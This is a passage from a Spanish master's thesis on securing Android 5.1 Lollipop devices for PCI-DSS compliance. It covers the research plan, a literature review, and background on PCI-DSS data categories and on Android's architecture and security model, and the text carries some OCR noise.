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RESUMEN

Los dispositivos moviles con sistema operativo Android estan teniendo cada dia mas
acogida en los consumidores y especialmente en los entornos corporativos; precisamente es
el contexto en el cual este trabajo final de master se va a desarrollar. Se busca por medio de
una serie de pruebas y analisis obtener el método mas eficiente para asegurar un dispositivo
movil con sistema operativo Android version 5.1 lollipop con el objetivo de cumplir con las

regulaciones establecidas por la industria de tarjetas de pago PCI-DSS.

Para tal efecto se va a realizar una investigacion que parte del conocimiento de estado del
arte del objeto de estudio y posteriormente se va a realizar un analisis de riesgos y un
analisis de las principales vulnerabilidades; las cuales van a ser explotadas en una serie de
pruebas de concepto utilizando una metodologia de test de penetracién, se procedera a
elaborar el documento guia de aseguramiento Android version 5.1 lollipop para el
cumplimiento de los requisitos 1.4 y 4.1 de la industria de tarjetas de pago PCI-DSS;
adicionalmente se realizara la implementacion, principalmente de los controles propuestos
detallados en los requisitos de PCI-DSS vy para finalizar se comprobara la efectividad de los

controles y configuraciones aplicadas.

Palabras Clave: Android, tarjeta, riesgo, controles, pruebas, PCI.
ABSTRACT

Mobile devices with Android operating system, are having increasingly acceptance in the
consumers and especially in corporate environments. That is precisely the context in which
this final project is to be developed; will make a series of tests and analysis to obtain the
most efficient method of securing a mobile device with operating system Android version 5.1

lollipop in order to comply with regulations set by the payment card industry PCI-DSS.

For this purpose should conduct this research since state of the art of study case and then
will perform an analysis of the main vulnerabilities and risk analysis; later will be exploited in
a proof of concept applying penetration test methodology, the creation of the assurance
guide for Android version 5.1 lollipop document for compliance with the requirements of 1.4
and 4.1 card industry PCI-DSS payment is mainly implemented with the proposed about
requirements of PCI-DSS controls; to finish will proceed to validate the efficiency of the
controls and the applied configurations.

Keywords: Android, card, risk, controls, tests, PCI.
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INTRODUCCION

La constante evolucion del software y la competencia entre desarrolladores ha favorecido el
crecimiento de los sistemas operativos moviles, agregandoles funcionalidades muy
interesantes, robustez y portabilidad; razén por la cual en la Gltima década, ha sido posible
evidenciar un considerable incremento de la necesidad de estar alineados con los avances
tecnolbgicos, que a su vez se estan convirtiendo en un factor determinante para la
competitividad, la permanencia en el mercado y la optimizacién de los recursos de las

empresas.

La creciente tendencia mundial de las organizaciones de incorporar en su infraestructura
tecnolégica el soporte para dispositivos moéviles, ha revolucionado la manera de trabajar,
prestar servicios y establecer comunicaciones. Teniendo en cuenta lo anterior resulta
determinante, que el uso de las tecnologias mdviles en ausencia de definiciones,
lineamientos y politicas claras de seguridad de la informacién, genera una serie de

debilidades criticas para las organizaciones.

El presente trabajo de fin de master se va a desarrollar en un contexto de piloto
experimental, el cual busca identificar las principales amenazas y vectores de ataque, que
hacen vulnerables los dispositivos méviles Android versién 5.1 lollipop. El experimento va a
estar soportado en los multiples estudios realizados al sistema operativo Android y tiene
como finalidad la implementacién de controles que mitiguen los riesgos hallados en el
proceso de la prueba, para de esta manera cumplir con los requisitos técnicos y operativos
que proponen las normas de obligatorio cumplimiento de seguridad de datos de la industria
de tarjetas de pago (PCI-DSS).

|
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1 Generalidades

1.1 Titulo

Aseguramiento de dispositivos moviles Android para el cumplimiento de la norma (PCI-
DSS).

1.2 Definicidén del problema

Android es el sistema operativo mas utilizado a nivel mundial, originalmente fue creado para
proveer funcionalidades para el usuario del coman, pero desde hace algunos afos esta
siendo adoptado por las organizaciones empresariales con el fin de proveer a sus
empleados una opcién de movilidad y a sus clientes una mejor experiencia cimentada en la

eficiencia y agilidad en el servicio.

Es importante precisar que el sistema operativo Android cuenta con problemas de seguridad

similares a cualquier otro sistema operativo ya sea de escritorio o servidor.

Las pruebas concernientes al piloto experimental van a ser desarrolladas en un ambiente
gue simula un entorno financiero, por la sensibilidad de los activos de informaciéon que se
manipulan y las amenazas existentes que pueden llegar a comprometer los datos de los

clientes y de la misma empresa.

De acuerdo a lo anterior se procede a formular el siguiente cuestionamiento: ¢Es posible
asegurar los dispositivos con sistema operativo Android lollipop version 5.1, para el uso
seguro en un entorno financiero y de esta manera cumplir con los requisitos 1.4 y 4.1 de la
norma de seguridad de la industria de tarjetas de pago (PCI-DSS) aplicables a la

tecnologias moviles?

|
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1.3 Hipotesis

Para que la integracion de un dispositivo mévil en un entorno financiero, cumpla con los
requerimientos de la industria de pago de tarjetas PCI-DSS, se deben establecer controles
para asegurar los canales de comunicacion y para los mecanismos que posibilitan el acceso

a los datos de tarjetas de pago, que se gestionan en el dispositivo movil Android lollipop 5.1.

1.4 Objetivos

1.4.1 Objetivo General

Implementar controles de seguridad para el sistema operativo Android lollipop version 5.1 en
un entorno corporativo financiero simulado, con el fin de garantizar el cumplimiento de los

requisitos 1.4 y 4.1 de la industria de tarjetas de pago (PCI-DSS).

1.4.2 Objetivos Especificos

¢ Identificar los riesgos mas criticos, que puedan comprometer los dispositivos méviles

Android lollipop version 5.1.

e Evaluar la normativa general de la industria de tarjetas de pago (PCI-DSS), para

tener claros los requisitos aplicables a los dispositivos moviles.

e Realizar prueba de concepto aplicando la metodologia de test de penetracion, para
conocer estado inicial del dispositivo con sistema operativo Android v 5.1
seleccionado para la prueba, sin configuracion de medidas de seguridad frente a

ataques informaticos.

|
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e Generar el documento guia de aseguramiento, aplicable a los dispositivos Android
ver. 5.1 lollipop, que garantice el cumplimiento de la nhorma (PCI) en el entorno

financiero.

¢ Implementar los controles de seguridad establecidos en el documento: guia de

aseguramiento, aplicable a los dispositivos Android versién 5.1 lollipop.

e Configurar controles efectivos para lograr el aseguramiento de los dispositivos
moviles en el entorno financiero simulado, que cumplan con los requisitos de la

industria de tarjetas de pago (PCI-DSS).

e Evaluar los resultados obtenidos del piloto experimental y presentar el respectivo

analisis.

1.5 Justificacion

La presente investigacion fue motivada especificamente, por la creciente tendencia del uso
de dispositivos maviles por parte de los empleados de las compafias financieras, en donde

el uso de las terminales moéviles obedece a una genuina necesidad de:
e Movilidad.
e Mejorar tiempos de acceso a la informacién de clientes y de la entidad financiera.
e Acceder al correo electrénico.

e Ingresar a aplicaciones corporativas (intranet, comunicacion, aplicaciones de

mensajeria corporativa, cifrar o descifrar documentos).

Claramente la integracion de las tecnologias méviles con los entornos laborales es una
realidad, por tal razon la industria de tarjetas de pago (PCI-DSS) publicé una serie de
normas de seguridad de obligatorio cumplimiento, con el fin de proteger los datos del titular
de las tarjetas de pago, cuando los mismos se procesen, transmitan o almacenen, en la

infraestructura tecnolégica de un entorno financiero.

Los requisitos de las normas PCI-DSS aplican para todos los dispositivos que se conecten a
la red de las organizaciones financieras e interactien con datos de tarjetahabientes. Para

efectos de la presente investigacion es procedente evaluar el cumplimiento de los
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dispositivos moviles Android lollipop v. 5.1 con respecto a las normas de (PCI-DSS), ya que

actualmente tienen la mayor ocupacién en el mercado de los méviles a nivel mundial.

Worldwide Smartphone Sales to End Users by Operating System in 2Q15 (Thousands of Units)

Operating System 2Q15 2Q15 Market 2Q14 2Q14 Market
Units Share (%) Units Share (%)

ndroid 271,010 82.2 243,484 838
10Ss 48,086 146 35,345 12.2
Windows 8,198 2.5 8,095 2.8
BlackBerry 1,153 0.3 2,044 0.7
Others 1,229.0 0.4 1,416.8 0.5
Total 329,676.4 100.0 290,384.4 100.0

Tabla 1 Ocupacion del mercado mévil de los dispositivos moviles Android.

Fuente: Gartner (2015) http://www.gartner.com/technology/home.jsp

1.6 Estructura del trabajo

El piloto experimental se desarrolla en las siguientes fases principales:

e Fase 1. Definicién del objeto de estudio, que para el caso es un dispositivo movil
Lenovo A 2010-1 con sistema operativo Android version 5.1 lollipop, considerando

investigaciones previas y el marco legal aplicable.

o Fase2. Metodologia y planificacién: En este apartado se expone el tipo de prueba de
concepto a realizar, los pasos y la implementacién del laboratorio de seguridad

informéatica.

e Fase 3. Identificacién de las vulnerabilidades y riesgos: Por medio de la realizacion
de un andlisis de vulnerabilidades y un analisis de riesgos, se deben identificar las
principales amenazas, vulnerabilidades y vectores de ataque; en contra del sistema

operativo Android versién 5.1 lollipop.

e Fase 4. Explotacion de las vulnerabilidades: Prueba técnica de la explotacién de las
vulnerabilidades encontradas (prueba de concepto PoC), implementada con una

metodologia de pentesting (test de penetracion).
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o Fase 5. Elaboracién guia de aseguramiento dispositivos méviles Android version 5.1

lollipop para el cumplimiento de la norma PCI-DSS requisitos 1.4 y 4.1.

o Fase 6. Implementacion de controles: Aplicacion de configuraciones técnicas al

dispositivo mévil Android v 5.1, con el fin de mitigar las vulnerabilidades encontradas.

e Fase 7. Test posterior a la implementacién de los controles: Prueba realizada con el
proposito de verificar si los controles implementados mitigan los riesgos identificados
y contienen los ataques realizados.

e Fase 8. Descripcion de los resultados obtenidos: Consolidacion de los datos
obtenidos en las pruebas de penetracion y la descripcién de los mismos basado en lo

observado durante el experimento.

2 Marco teoérico

2.1.1 Antecedentes

El cibercrimen esta en constante evolucion y dia tras dia busca nuevas fuentes de ingresos
a costa de sus actividades delictivas y de igual manera se evidencia la automatizacién de
sus ataques, con nuevas herramientas para ejecutarlos y propagarlos con mayor facilidad y

efectividad.

En la actualidad las personas que portan teléfonos inteligentes (smartphone), se convierten
en un objetivo para los ciberdelincuentes, que se aprovechan de las vulnerabilidades de los

sistemas operativos méviles para materializar sus ataques.

El crecimiento exponencial en la utilizacion de las tecnologias méviles a nivel mundial, ha
permitido evidenciar que las compafiias de diferentes sectores, estan adoptando y mas aun
integrando los smartphone (teléfonos inteligentes) y tabletas a sus infraestructuras

tecnoldgicas, lo cual supone un riesgo potencial a la seguridad corporativa.

Las normas de seguridad de datos de la industria de tarjetas de pago (PCI DSS, 2013)

fueron desarrolladas para fomentar y mejorar la seguridad de la informacién de los
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tarjetahabientes y con el objetivo de facilitar la uniformidad de la adopcién de medidas de

seguridad de los datos a nivel global.

El objetivo principal de los requisitos técnicos y operativos publicados por (Industria de
tarjetas de pago PCI v 3.0, 2013) es proteger la informacion de los titulares de las tarjetas.

Los requisitos indicados por la (Industria de tarjetas de pago PCI v 3.0, 2013) se aplican a:

Todas las entidades que participan en el procesamiento de tarjetas de pago, entre las
que se incluyen comerciantes, procesadores, adquirientes, entidades emisoras vy
proveedores de servicios, como también todas las demas entidades que almacenan,
procesan o transmiten CHD (datos del titular de la tarjeta) o SAD (datos de

autenticacion confidenciales).

2.2 Contexto y estado del arte

El contexto en el cual se desarrolla la presente investigacion es la identificacion de las
principales amenazas, vulnerabilidades y riesgos; que permitan evidenciar los fallos de
seguridad de los dispositivos méviles con sistema operativo Android version 5.1 lollipop y las
acciones de mitigacion que los investigadores a lo largo del tiempo han aplicado de manera
exitosa, para proteger los principios fundamentales de la seguridad de la informacion: la

confidencialidad, la disponibilidad e integridad en un entorno financiero.

(Betancur & Erazo, 2015) proponen que para el aseguramiento de dispositivos moviles
Android “es importante seguir unas politicas de seguridad referentes al manejo del sistema
operativo Android que sean accesibles y aplicables por parte del usuario, que sensibilicen
acerca de las medidas preventivas que se requieren para que la informacion, posea los

principios de disponibilidad, confidencialidad e integridad”(p.100).

Indican (Betancur & Erazo, 2015) “las anteriores versiones de Android tenian elementos de
seguridad que fueron mejorando a medida que iban surgiendo nuevas versiones” (p.36); lo
cual se hace evidente con el analisis de las configuraciones de seguridad existentes para las

nuevas versiones de Android.

(Bugiel, Dmitrienko, Fischer, & Ahmad, 2011) mencionan en su trabajo XManandroid “los
ataques de escalamiento de privilegios y los acciones que una aplicacion que eleve

privilegios puede invocar y hacer llamados a otras”. Hablan sobre Xmanandroid (extended
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monitoring on Android) lo cual busca prevenir precisamente la elevacion de privilegios por

parte de procesos maliciosos.

Alonso Parrizas en su blog pentester.es, presenta un caso practico de aseguramiento de
dispositivos moviles Android, en lo relacionado con el aseguramiento de canales de
comunicacion de dispositivos moviles Android (Parrizas, 2011).

En el documento escrito por Osorio y Ramirez (2011) es citado un estudio sobre la amenaza
global mavil, publicado el 10 de mayo de 2011 por Juniper Networks (NYSE: JNPR) en
donde se encontré6 que: “los dispositivos moviles empresariales y de consumo estan
expuestos a un namero récord de amenazas de seguridad, incluyendo un aumento del 400

por ciento de malware para Android, asi como altos ataques orientados a Wi-Fi” (p.44).

Explican (Romano & Luna, 2013) que los atributos de seguridad de los dispositivos méviles
dependen de los desarrolladores, como resultado de su investigacion del método AFTA
(Android forense mediante tecnologias abiertas).

En el libro Android hackers hand book, escrito por (Drake, Fora Pau, Lanier, Collin, Ridley, &
Wicherski, 2014) se hace un completo analisis de la seguridad de los dispositivos méviles
Android y es posible evidenciar las vulnerabilidades del sistema operativo Android mas
representativas, asi como técnicas de explotacion de las mismas. De igual manera proponen
controles y opciones de mitigacion; adicionalmente se mencionan los ataques a nivel de

hardware, de interfaz de radio y la peligrosa elevacién de privilegios.

PCI-DSS (Industria de tarjetas de pago PCI v 3.0, 2013) en su estandar de seguridad de

datos menciona que:

Los dispositivos informéticos portatiles autorizados para conectarse a Internet desde
afuera del firewall corporativo son mas vulnerables a las amenazas basadas en
Internet. El uso de un firewall personal ayuda a proteger los dispositivos contra
atagues basados en Internet, los cuales pueden usar el dispositivo para obtener
acceso a los datos y a los sistemas de la organizacion cuando el dispositivo se
conecta nuevamente a la red. La organizacion determina los parametros de

configuracion especificos del firewall.

En un contexto general PCI hace una referencia entre otros, a los dispositivos informéticos
portatiles y de acuerdo a esto se debe validar en la actualidad las organizaciones, que

dispositivos mdviles tienen integrados a su infraestructura; teniendo en cuenta que los
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smartphone Android, se estan adaptando muy bien a las plataformas tecnolégicas de las

organizaciones.

En la tabla 1, se pueden apreciar los 12 requisitos de (Industria de tarjetas de pago PCI v
3.0, 2013):

Desarrollar y mantener 1. Instalar y mantener una configuracion de firewall para proteger los datos
una red segura del titular de la tarjeta
2. No use contrasefias de sistemas y otros parametros de seguridad provistos
por los proveedores

Proteger los datos del
titular de la tarjeta

. Proteja los datos del titular de la tarjeta que fueron almacenados
. Cifrar la transmision de los datos del titular de la tarjeta en las redes publicas
abiertas

. Utilice y actualice con regularidad los programas o software antivirus

=W

Mantener un programa
de administracion de

vulnerabilidad . Desarrolle y mantenga sistemas y aplicaciones seguras

Implementar medidas

oF de saber que tenga la empresa
solidas de control

5

6

7. Restringir el acceso a los datos del titular de la tarjeta segun la necesidad

8. Asignar una ID exclusiva a cada persona que tenga acceso por computador
9

de acceso . Restringir el acceso fisico a los datos del titular de la tarjeta
Supervisar y evaluar las 10. Rastree y supervise todos los accesos a los recursos de red y a los datos
. de los titulares de las tarjetas
e 11. Pruebe con regularidad los sistemas y procesos de seguridad
Mantener una politica de 12. Mantenga una politica que aborde la seguridad de la informacién para todo
seguridad de informacidn el personal

Tabla 2 Requisitos de seguridad de datos de la PCI

Fuente (Industria de tarjetas de pago PCl v 3.0, 2013)

El texto hacking exposed mobile de McGraw-Hill (Bergman, Stanfield, Rouse, & Scambray,
2013) acercan al lector a varias técnicas de explotacién para algunas de las vulnerabilidades
presentes en Android; asi mismo brindan algunas recomendaciones para no incurrir en
errores que permitan a los ciberdelincuentes aprovecharse del desconocimiento de los

usuarios comunes.

El proyecto owasp mobile security (owasp, 2015) esta aumentado su nivel de madurez, por
lo cual es un muy buen aporte para la comunidad de seguridad informética. En el afio
inmediatamente anterior fue publicado un top ten de riesgos, que afectan a los dispositivos

moéviles y el top ten de controles para mitigarlos.

El libro Learning pentensting for Android devices (Gupta, 2014) es un excelente aporte que
brinda al investigador, recursos para realizar test de penetracion a dispositivos moviles

Android y ofrece un completo listado de herramientas para realizar pruebas de concepto y la
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implementacion de laboratorios de seguridad informatica, para experimentar con dispositivos

moviles Android.

Es importante resaltar los trabajos de (Centro Criptologico Nacional, 2013) con respecto a la
seguridad movil, en su guia de seguridad de las tic (CCN-STIC-457) Gestidn de dispositivos
méviles MDM (mobile device management); el cual propone una serie de controles

buscando brindar opciones para garantizar el uso seguro de los dispositivos maoviles.

El trabajo de fin de méaster Android application security with OWASP mobile Top 10 2014 de
la universidad de Lulea James, 2014), aborda los riesgos y los controles del proyecto owasp
mobile security de manera que para cada riesgo expone un control efectivo. A su vez el
portal web del proyecto owasp presenta un listado del top 10 de riesgos que afectan a los
dispositivos méviles y los controles que mitigan los mencionados riesgos (owasp, 2015).

2.2.1 Resumen de conclusiones de investigadores

En las consultas realizadas referentes al estado del arte del objeto de estudio, es posible
evidenciar la notoria preocupacion de los investigadores de seguridad informatica, por las
deficiencias en materia de seguridad de las tecnologias moviles, especificamente del

sistema operativo Android.

Posterior a la lectura de las definiciones, investigaciones y teorias es posible evidenciar que
con el pasar de los afios, Android se ha convertido en un sistema operativo mévil méas
confiable y seguro, pero asi mismo se han incrementado las amenazas y el interés de los
ciberdelincuentes por comprometer los datos confidenciales de los usuarios de los

smartphone.

2.3 Marco conceptual

2.3.1 Consejo de estandares de seguridad PCI

El consejo de estandares de seguridad (PCI-SSC) “es un foro mundial abierto, establecido

en 2006, que se encarga de la formulacién, gestion, educacién y conocimiento de las
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normas de seguridad de la industria de tarjetas de pago (PCI), entre ellas: La Norma de
seguridad de datos (DSS), la norma de seguridad de datos para las aplicaciones de pago
(PA-DSS) vy los requisitos de Seguridad de transacciones con PIN (PTS)” (PCI, 2013).

Inicialmente el consejo de la industria de tarjetas de pago (PCI-SSC) estaba conformado por
las franquicias de tarjetas de pago “American Express, Discover Financial Services, JCB
International, MasterCard y Visa Inc.” (PCI, 2013).

PCI-DSS public6 las normas y los requisitos, que son de obligatorio cumplimiento desde el
aflo 2007 y estan orientados a las entidades que gestionan los datos de los usuarios de las

tarjetas de pago.

Entre los datos mas relevantes en el marco de la norma PCI-DSS se encuentran:

Datos de cuentas

Los datos confidenciales de autenticacion

Los datos de titulares de tarjetas incluyen: p
incluyen:

Contenido compleio de la pista (datos
de la banda magnética o datos

o equivalentes que estan en un chip)
Fecha de wencimiento . CAVZICVCCVVCID

Cadigo de servicio +  PIN/Blogueos de PIN

Mumero de cuenta principal (PAMN)
Mombre del titular de |a tarjeta

Tabla 3 Datos tarjetas de pago

Fuente: (Industria de tarjetas de pago PCI v 3.0, 2013)

2.3.2 Niumero de cuenta principal (PAN):

En el afio de 1989 la organizacién internacional de estandares (ISO) publico el estandar
(ISO/IEC 7812-1:2015, 2015), el cual se divide en 2 partes:

e Sistema de numeracion.
e Aplicacién y registro de procedimientos.

La (Industria de Tarjetas de Pago PCI, 2013) indica que si el nombre del titular de la tarjeta,
el cadigo de servicio o la fecha de vencimiento se almacenan, procesan o transmiten con el

PAN (nimero de cuenta principal) o se encuentran presentes de algun otro modo en el
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entorno de datos del titular de la tarjeta, se deben proteger de conformidad con los requisitos
de las PCI DSS” (p.7).

2.3.3 ¢ Qué es Android?

Antes de emitir una definicion de Android, es preciso abordar aspectos relevantes que
antecedieron su origen como sistema operativo. Android Inc. fue la compafila que
originalmente desarrollé el sistema operativo Android; la empresa fue fundada por Andy
Rubin, Rich Miner, Nick Searsy Chris White.

Los esfuerzos de la compafiia original estaban orientados hacia el disefio y creacion de
dispositivos mdviles, lo cual fue muy atractivo para la empresa Google quien procedi6 a

comprar la compafiia en medio de su campafia por conquistar el mercado de los maviles.

Para agosto del 2005 Google empezd a crear asociaciones y alianzas estratégicas con
compafiias de software, hardware y telecomunicaciones (Drake, Fora Pau, Lanier, Collin,
Ridley, & Wicherski, 2014).

Figura 1 El logotipo es el robot "Andy".

Fuente: https://www.unocero.com/2013/09/23/la-historia-de-android/

En noviembre del 2007 la OHA (Open Handset Alliance) fue anunciada al mundo, este
consorcio de compafiias de hardware, software y telecomunicaciones, ayudé a la

aceleracion de las innovaciones en las plataformas mdviles. El sistema operativo Android
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fue liberado en el mes de noviembre de 2007, la primera version fue Android 1.1 fue en el
teléfono el HTC G1, que empezd a venderse en octubre del 2008 (Drake, Fora Pau, Lanier,
Collin, Ridley, & Wicherski, 2014, pag. 4).

Seguidamente con el desarrollo y la innovacion, llegé el componente de hardware SoC
(System on Chip) el cual estd compuesto en gran parte por silicio e integra la CPU, el
procesador de gréficos (GPU) y la memoria de acceso aleatorio (RAM). Con esta integracion
se logré obtener una notable reduccidon en costos de manufactura y la disminucion del
consumo de energia en los dispositivos (Drake, Fora Pau, Lanier, Collin, Ridley, &
Wicherski, 2014).

Figura 2 SoC (System on Chip)

Fuente: Karim Yaghmour of Opersys Inc. (Creative Commons Share-Alike 3.0 license)
http://www.slideshare.net/opersys/inside-androids-ui

2.3.4 Arquitectura sistema operativo Android

La arquitectura de Android se compone de cuatro capas, como se puede apreciar en la

figura 3:

e Kernel de Linux: Se abstrae el hardware del software (controladores, gestion de
procesos).

e Android Runtime y las librerias: Maquina virtual de javay librerias.

e Framework de aplicaciones: Ofrece diferentes paquetes de servicio aplicaciones.

e Aplicacion: Aplicaciones instaladas (teléfono, correo, mensajeria, etc).
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Stock Android Apps |
Launcher? Phone AlarmClock
Emadl Setw Camera
Gadery m_"“ wireee R Your Apps / Market Apps

Calendar Browser  Bluetooth
Calcutator Contacts

App
API
android.*
Binder s
- java.
System Services (Apache Harmony)
Power Manager Mount Service Status Bar Manager
Activity Manager Notfication Manager Sensor Service
Package Manager Location Manager Window Manager
|_Batiery Service  Surface Flinger
Dalvik / Android Runtime / Zygote
JNI
Libraries Hardware
| Blonic / OpenGL / Webiit / . \ !Abstmcnon Layer | Native Daemons‘ Init / Toolbox
Linux Kernel
Waketocks / Lowmem / Binder / Ashmem / Logger / RAM Console / ...

Figura 3 Arquitectura dispositivos méviles Android.

Fuente: Karim Yaghmour of Opersys Inc. (Creative Commons Share-Alike 3.0 license)

http://www.slideshare.net/opersys/inside-androids-ui

En el siguiente apartado se procede a revisar con detalle algunas de las capas, que
componen la arquitectura del sistema operativo Android y que mas relacion tienen con la

proteccién de la seguridad de dispositivos moviles.

2.3.5 El Kernel de Linux:

El sistema operativo Android esta construido principalmente por el kernel de Linux el cual
proporciona “controladores de hardware, redes, sistema de ficheros que proveen el acceso y
la gestion de procesos” (Elenko, 2015, pag. 2); esta interaccion juega un papel sumamente

importante en la administracion de la seguridad del Android.

Es importante resaltar algunas de las nuevas caracteristicas del kernel Android

denominadas “Androidisms” (Elenko, 2015, p4g. 2) asociadas al Binder (Definido en el punto
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2.3.7), alarmas y paranoidnetworking, etc. por lo cual es ligeramente diferente a un kernel de

Linux corriente.

2.3.6 Comunicacion entre procesos (IPC):

Es una combinacion del driver del kernel y las librerias del espacio del usuario, en donde se
tienen diferentes sectores de memoria; lo cual garantiza que un proceso no pueda ingresar
directamente a otro proceso. El mecanismo (IPC) existe para los casos que algin servicio

autorizado necesita acceder a otro proceso.

2.3.7 Binder:

Binder es un nuevo mecanismo de comunicacion entre procesos que fue desarrollado por
Android, teniendo en cuenta que el kernel tiene el control de todos los procesos, el driver del
Binder es el objeto central del framework.

En la figura 4 es posible observar la arquitectura del mecanismo Binder:

; Process A ; ; Process B ;
Binder Server
I /’F- : Binder - IBinder :
(o oty
| g transact] : ; case CMDZ: | |1
' ' o j
:::::::'.:::l:"::::'.f:::::'..__.........__.....:.':.'::::::::?:::::::::::

T

Figura 4 Binder IPC

Fuente (Elenko, 2015)

La arquitectura de Binder sigue el modelo de cliente servidor, en donde un servicio publica
una interfaz y los clientes consumen desde esa interfaz. Los clientes se pueden enlazar a

los servicios de dos maneras, la primera es conociendo la direccién y la segunda es
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conociendo el nombre del servicio; las interfaces de Binder en el sistema son conocidas

como nodos y a su vez cada nodo tiene una direccion (Confer & Roberts, 2015)

2.3.8 Seguridad en Binder:

El mecanismo de comunicacion entre procesos de Android inicialmente era controlado por el
acceso discrecional (DAC), el cual en las ultimas versiones tuvo que adaptarse a SE Linux
para soportar sus mejoras en seguridad y administrar los permisos con control de acceso
mandatorio (MAC) (Confer& Roberts, 2015).

Binder implementa la interfaz Ibinder, la transaccion de binder contiene la referencia del
objetivo, el ID del método a ejecutar, y los datos del buffer; el driver de Binder
automaticamente agrega el proceso ID (PID) y el usuario efectivo ID (EUID).

El proceso de llamada (callee) tiene el atributo de inspeccionar y tomar decisiones de la
ejecucion del método solicitado por PID y EUID, basado en su ldgica interna o en los
metadatos de la aplicacion a la cual se le realizé el llamado (Elenko, 2015, pag. 7).

2.3.9 Maquina virtual Dalvik

En el sistema operativo Android se puede identificar que varias de sus implementaciones,
estan constituidas por librerias de java, las cuales son ejecutadas en una maquina virtual
gue comunmente se denomina Dalvik. No es posible ejecutar en la maquina virtual dalvik los
ficheros de java *.class directamente, el cédigo nativo para realizar ejecuciones en dalvik se
denomina DEX (Dalvik ejecutable) (Elenko, 2015).

VM Bytecode Dalvik Bytecode
public static imt add{int, imt); .method public static add{IT)I
Code:
0z 1load ol add-imt w0, pd, pl@
1: 1load 1@
1 1adde
3 ireturnd return wo@

.end method

Figura 5 Java Virtual Machine

Fuente (Elenko, 2015)
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2.3.10 ART (Android Runtime)

ART conocido en el lenguaje anglosajon como (Android Runtime), fue introducido al mundo
de Android en la versién 4.4; a pesar de que este componente utiliza el mismo modelo de
ejecucion de aplicaciones y procesos basados en zigote como Dalvik, se pueden resaltar las
siguientes caracteristicas de ART:

o Compilacion adelante de tiempo.
¢ Mejora la recolecciéon de basura.

e Mejor soporte para la depuracion.

2.4 Modelo de seguridad de Android

El modelo de seguridad del nucleo de Android esta basado en control de acceso
discrecional (DAC), no obstante utiliza el concepto de identificador de usuario e identificador
de grupos, en donde cada proceso del sistema tiene su propio UID, en lugar de la UID de
quien lanzé. Los UID proporcionan un sandbox (palabra inglesa arenero) y el aislamiento de

procesos.

En algunos casos los procesos pueden compartir los UID y GID, esto sucede cuando ambos
tienen el mismo conjunto de permisos para compartir los datos del sistema. Los GID en
Android se utilizan realmente para obtener permiso para acceder a los sistemas

subyacentes, como el sistema de archivos de la tarjeta SD.

El UID se utiliza para aislar procesos y no a los usuarios humanos del sistema; antes de la
version 4.3 jellybean, Android estaba disefiado solo para un usuario humano al menos en

funcionamiento. (Confer & Roberts, 2015)
En el modelo de seguridad de Android existen dos clases de procesos:

e Sistema de servicios de componentes:

Son servicios altamente privilegiados que inician con el sistema y normalmente no

comparten UID con otros procesos.

e Aplicaciones:
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A las aplicaciones se les asigna un UID de manera automética cuando se instalan, ya que el
sistema los tiene reservados para ese proposito; estas UID no tienen vinculos con nada
sensible o peligroso en el sistema y las aplicaciones se suelen ejecutar sin capacidad para

generar riesgos.

Con el fin de acceder a un recurso del sistema, una aplicacion debe tener su grupo

suplementario o debe ser arbitrado por un proceso aislado (Confer& Roberts, 2015).

Un ejemplo sencillo de utilizar el grupo suplementario, se presenta cuando una aplicacion
necesita usar la tarjeta SD, segun (Confer & Roberts, 2015) por esta razén las aplicaciones
deben tener en SDCARD_RWGID grupo suplementario, estos permisos son aplicados con
el control de acceso discrecional (DAC) por el kernel.

El grupo suplementario es asignado por el gestor de paquetes durante la instalacion de la
aplicacion basada en un permiso declarado y los permisos de las aplicaciones de Android

estan relacionados en el archivo ubicado en la ruta:

e #//manifest/system/etc/permissions/platform.xml.

Otra forma en la que una aplicacién gana acceso a un recurso del sistema, es a través de
otro proceso. La aplicacién que desee utilizar un recurso del sistema debe conseguir otro
proceso para hacer esta en su nombre y la mayoria de las peticiones son manejadas por un

proceso conocido como el servidor del sistema.

Si la intencién del usuario es instalar la aplicacién todos los permisos solicitados deben ser
concedidos; si el usuario no es cuidadoso puede instalar una aplicacion que solicite acceso
a objetos protegidos y puede poner en peligro la seguridad del dispositivo, aplicaciones o

datos del mismo usuario y la compaiiia (Confer & Roberts, 2015).

Los propietarios de los dispositivos moviles Android, siempre deben verificar los permisos

gue solicita la aplicacién (Confer & Roberts, 2015).

2.4.1 Concepto de Sandbox

Especificamente refiere a la separacion de procesos y el principio de otorgar el minimo
privilegio; basicamente los procesos corren con usuarios independientes ID (UID),

adicionalmente los permisos a los archivos del sistema estan restringidos.
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En el sistema operativo Android se definen los nombres de usuarios con identificadores
unicos se conocen como identificadores Android (AIDs) (Drake, Fora Pau, Lanier, Collin,
Ridley, & Wicherski, 2014, pag. 27).

2.4.2 Permisos en Android

Dado que las aplicaciones de Android se ejecutan en un ambiente que garantiza la
separacion de procesos (sandbox), solo pueden tener acceso a sus propios archivos y
recursos. Android puede conceder permisos de manera granular a las aplicaciones con el fin
de permitir mejor funcionalidad, estos accesos se llaman permisos y pueden controlar los
accesos a dispositivos de hardware, conectividad de internet, datos y servicios del sistema
operativo (Elenko, 2015).

Los permisos estan definidos en el archivo AndroidManifest.xml, cuando se instala una

aplicacion sucede lo siguiente:

1. Android valida los permisos requeridos y decide si concede el acceso o0 no.
2. Para accesos sensibles a cuentas de usuario o claves privadas, el usuario humano

es quien realiza la confirmacion.

Algunos permisos solo pueden concederse a las aplicaciones que forman parte del sistema
operativo Android, ya sea porque estan preinstaladas o firmadas con la misma llave del
sistema operativo. Las aplicaciones de terceros pueden definir permisos personalizados y
definir restricciones similares conocidas como niveles de proteccion de permisos,

restringiendo asi el acceso a los servicios y recursos de una aplicacion (Elenko, 2015).

El permiso se puede hacer cumplir en diferentes niveles y las peticiones al nivel mas bajo de
los recursos del sistema, tales como archivos de dispositivo, son impuestas por el nucleo de
Linux marcando el UID o GID del proceso llamando contra el recurso de propietario y de
acceso bits. Al acceder a los componentes Android de nivel superior, la ejecucion se lleva a

cabo ya sea por el sistema operativo Android o por cada componente (Elenko, 2015).
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2.4.3 ASLR

En el idioma inglés Address Space Layout Randomization, es un mecanismo de seguridad
que tiene por objetivo establecer la zona de datos como no ejecutable, el espacio de cédigo
de la aplicacién como no escribible y garantizar que las direcciones de memoria utilizadas
por el binario sean aleatorias, de igual manera las librerias que son cargadas en tiempo de
ejecucion. ASLR fue implementado en Android desde la versién 4.0.

2.4.4 Usuario root android

Se define root como el superusuario en el sistema operativo Android y el proceso para ganar
los maximos privilegios de denomina rooting. El usuario root tiene privilegios sobre todos los
archivos y programas del sistema, en un dispositivo movil Android el usuario root tiene

privilegios administrativos (Drake, Fora Pau, Lanier, Collin, Ridley, & Wicherski, 2014).

